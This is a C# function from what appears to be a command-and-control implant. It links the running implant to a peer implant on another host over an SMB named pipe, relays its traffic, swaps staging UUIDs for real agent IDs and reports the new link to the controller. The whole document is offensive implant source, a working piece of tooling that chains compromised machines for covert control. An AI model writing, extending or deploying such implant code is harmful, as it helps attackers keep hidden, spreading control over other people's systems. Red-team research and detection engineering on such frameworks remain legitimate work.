private static void Link(Job job, Agent implant)
{
LinkMessage linkMsg = JsonConvert.DeserializeObject <LinkMessage>(job.Task.parameters);
ConnectionInfo connInfo = linkMsg.connection_info;
C2ProfileInfo profileInfo = connInfo.c2_profile;
C2Profile profile;
bool outbound;
ApolloTaskResponse response;
switch (profileInfo.name.ToLower())
{
case "smbserver":
string pipeName = profileInfo.parameters["PIPE_NAME".ToLower()];
string hostName = connInfo.host;
try
{
profile = new SMBClientProfile(pipeName, hostName, implant.Profile.cryptor);
}
catch (Exception ex)
{
job.SetError(String.Format("Failed to link to {0} over named pipe \"{1}\". Reason: {2}", hostName, pipeName, ex.Message));
break;
}
SMBRelay relay = new SMBRelay((SMBClientProfile)profile, implant.Profile, job.Task.id);
outbound = true;
string newAgentGUIDMsg = Guid.NewGuid().ToString();
Thread t = new Thread(() => relay.BeginRelay(newAgentGUIDMsg));
t.Start();
string tempLinkedUUID = (string)MessageInbox.Inbox.GetMessage(newAgentGUIDMsg);
DelegateNode delegateNode = new DelegateNode()
{
// AgentUUID = tempLinkedUUID,
NodeRelay = relay,
// TemporaryUUID = true,
OutboundConnect = outbound,
OriginatingTaskID = job.Task.id,
AgentComputerName = hostName,
ProfileInfo = profileInfo
};
EdgeNode en = new EdgeNode()
{
source = implant.uuid,
destination = tempLinkedUUID,
direction = 1, // from source to dest
metadata = "",
action = "add",
c2_profile = profileInfo.name
};
if (tempLinkedUUID.StartsWith("staging-"))
{
tempLinkedUUID = tempLinkedUUID.Replace("staging-", "");
delegateNode.AgentUUID = tempLinkedUUID;
delegateNode.TemporaryUUID = true;
//string linkedUUID = relay.InitializeRelay();
implant.AddDelegateNode(tempLinkedUUID, delegateNode);
string realUUID = (string)MessageInbox.Inbox.GetMessage(newAgentGUIDMsg);
//Thread t = new Thread(() => relay.BeginRelay(newAgentGUIDMsg));
//t.Start();
implant.RemoveDelegateNode(tempLinkedUUID);
delegateNode.AgentUUID = realUUID;
delegateNode.TemporaryUUID = false;
implant.AddDelegateNode(realUUID, delegateNode);
en.destination = realUUID;
}
else
{
// this is a real uuid already staged
delegateNode.AgentUUID = tempLinkedUUID;
delegateNode.TemporaryUUID = false;
implant.AddDelegateNode(tempLinkedUUID, delegateNode);
}
response = new ApolloTaskResponse(job.Task, $"Established link to {hostName}", new EdgeNode[] { en });
//implant.TryPostResponse(response);
//implant.Profile.Send(JsonConvert.SerializeObject(new EdgeNodeMessage()
//{
// edges = new EdgeNode[] { en }
//}));
job.SetComplete(response);
//relay.BeginRelay();
break;
default:
job.SetError("Unsupported code path in LinkManager.");
break;
}
}
